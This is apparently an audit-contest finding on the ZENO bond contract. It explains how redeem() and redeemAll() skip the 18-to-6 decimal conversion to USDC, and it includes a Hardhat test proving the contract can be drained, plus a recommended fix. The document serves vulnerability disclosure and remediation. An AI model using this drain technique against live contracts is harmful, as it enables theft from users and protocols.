Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect decimal handling in ZENO redemption leads to massive fund drain

Summary

The redeem() and redeemAll() functions in the ZENO contract fail to account for the decimal difference between ZENO tokens (18 decimals) and USDC (6 decimals), leading to users receiving 1,000,000x more USDC than intended when redeeming their ZENO tokens, potentially draining all USDC from the contract.

Vulnerability Details

ZENO tokens follow the standard 18 decimal places, while USDC uses 6 decimal places. The redemption functions treat the ZENO amount as if it had the same number of decimals as USDC, resulting in a direct 1:1 transfer without decimal adjustment.

For example, assuming a maturity price of 1 USDC per ZENO token:

  • User has 1 ZENO token (1e18 base units)

  • When redeeming, they should receive 1 USDC (1e6 base units)

  • Currently, they receive 1e18 base units of USDC (1 trillion USDC)

This means users receive 1,000,000x more USDC than they should, effectively draining the contract's USDC reserves

Impact

This would immediately drain all USDC from the contract, making it insolvent and preventing other users from redeeming their tokens.

Tools Used

Manual review

Proof of Concept

Add the following test case to the test/unit/Zeno/Integration.test.js file:

import { time } from "@nomicfoundation/hardhat-network-helpers";
// ... other code ...
it("Redeem decimal conversion error", async function() {
// ### Auction Setup
const currentTime = await time.latest()
const maturityDate = currentTime + 86400 * 365; // 1 year later
// Deploy a new ZENO Contract for Auction
await zenoFactory.createZENOContract(usdcAddress, maturityDate);
const zeno1Address = await zenoFactory.getZENO(1);
const zeno = (await ethers.getContractAt("ZENO", zeno1Address));
const usdcDecimals = 6n;
const zenoDecimals = await zeno.decimals(); // 18
expect(zenoDecimals).to.equal(18);
// Price of 1 ZENO at maturity = 100 USDC
const oneZenoPriceAtMaturity = ethers.parseUnits("100", usdcDecimals);
// Set Auction contract
auctionStartTime = currentTime + 1 * 3600; // 1 hour later
auctionEndTime = auctionStartTime + 86400; // 1 day later
startingPrice = oneZenoPriceAtMaturity; // 100 USDC
reservePrice = ethers.parseUnits("10", usdcDecimals); // 10 USDC
totalZENOAllocated = ethers.parseUnits("10", zenoDecimals); // 10 Bonds allocated for the auction
totalZENORemaining = totalZENOAllocated;
// Deploy Auction contract
await auctionFactory.createAuction(
zeno1Address,
usdcAddress,
businessAddress,
auctionStartTime,
auctionEndTime,
startingPrice,
reservePrice,
totalZENOAllocated
);
const auction1Address = await auctionFactory.getAuction(1);
const auction = (await ethers.getContractAt("Auction", auction1Address));
// Transfer ZENO ownership to the auction contract
zenoFactory.transferZenoOwnership(1, auction1Address);
// ### User1 buys 1 ZENO
// Mint USDC tokens to addr1 and approve the auction contract
await usdc.mint(addr1.address, ethers.parseUnits("10000000000000000000000", 6));
await usdc.connect(addr1).approve(auction1Address, ethers.parseUnits("10000000000000000000000", 6));
await time.setNextBlockTimestamp(auctionStartTime + 1);
const oneZeno = ethers.parseUnits("1", zenoDecimals); // 1 ZENO bond
await auction.connect(addr1).buy(oneZeno);
const zenoBalanceAfter = await zeno.balanceOf(addr1.address);
// Gets 1 ZENO bond
expect(zenoBalanceAfter).to.equal(oneZeno);
// ### User1 redeems 1 ZENO
// Fund the zeno contract with USDC
await usdc.mint(zeno.target, ethers.parseUnits("10000000000000000000000", 6));
// Advance to maturity date
await time.setNextBlockTimestamp(maturityDate);
const usdcBeforeRedeem = await usdc.balanceOf(addr1.address);
// User redeems 1 ZENO
await zeno.connect(addr1).redeem(oneZeno);
// Check USDC received
const usdcAfterRedeem = await usdc.balanceOf(addr1.address);
// User receives 100e18 USDC (100 trillion USDC) instead of 100e6 (100 USDC)
expect(usdcAfterRedeem).to.not.equal(usdcBeforeRedeem + oneZenoPriceAtMaturity);
expect(usdcAfterRedeem).to.equal(usdcBeforeRedeem + ethers.parseUnits("1000000000000", usdcDecimals));
});

Recommendations

Add decimal conversion when transferring USDC. The amount should be divided by 10^12 (difference between 18 and 6 decimals):

function redeem(uint amount) external nonReentrant {
// ... existing code ...
totalZENORedeemed += amount;
_burn(msg.sender, amount);
- USDC.safeTransfer(msg.sender, amount);
+ uint256 usdcAmount = amount / 1e12; // Convert from 18 decimals to 6 decimals
+ USDC.safeTransfer(msg.sender, usdcAmount);
}
function redeemAll() external nonReentrant {
if (!isRedeemable()) {
revert BondNotRedeemable();
}
uint256 amount = balanceOf(msg.sender);
totalZENORedeemed += amount;
_burn(msg.sender, amount);
- USDC.safeTransfer(msg.sender, amount);
+ uint256 usdcAmount = amount / 1e12; // Convert from 18 decimals to 6 decimals
+ USDC.safeTransfer(msg.sender, usdcAmount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Decimal precision mismatch between ZENO token (18 decimals) and USDC (6 decimals) not accounted for in redemption, causing calculation errors and incorrect payments

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.